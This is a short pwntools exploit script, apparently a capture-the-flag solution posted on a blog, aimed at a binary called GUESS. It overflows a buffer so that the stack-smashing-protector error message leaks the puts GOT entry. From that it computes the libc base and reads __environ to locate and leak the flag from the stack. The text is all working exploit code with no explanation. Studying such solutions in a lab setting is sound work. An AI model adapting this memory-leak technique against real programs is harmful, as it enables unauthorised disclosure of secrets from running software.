1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import* from LibcSearcher import *
p=process("./GUESS") context.log_level="debug" elf=ELF('./GUESS') puts_got=elf.got['puts'] libc=ELF('./libc-2.23.so') payload=b'a'*0x128+p64(puts_got) p.recvuntil(' guessing flag')
p.sendline(payload) p.recvuntil('detected ***: ') puts_addr=u64(p.recvuntil('\x7f').ljust(8,b'\x00')) print(hex(puts_addr)) base=puts_addr-libc.sym['puts'] environ=base+libc.sym['__environ'] payload=b'a'*0x128+p64(environ) gdb.attach(p) p.recvuntil(' guessing flag') p.sendline(payload)
p.recvuntil('detected ***: ') envi=u64(p.recvuntil('\x7f').ljust(8,b'\x00')) print(hex(envi)) flag=envi-0x168 payload=b'a'*0x128+p64(flag) p.recvuntil(' guessing flag') p.sendline(payload) p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~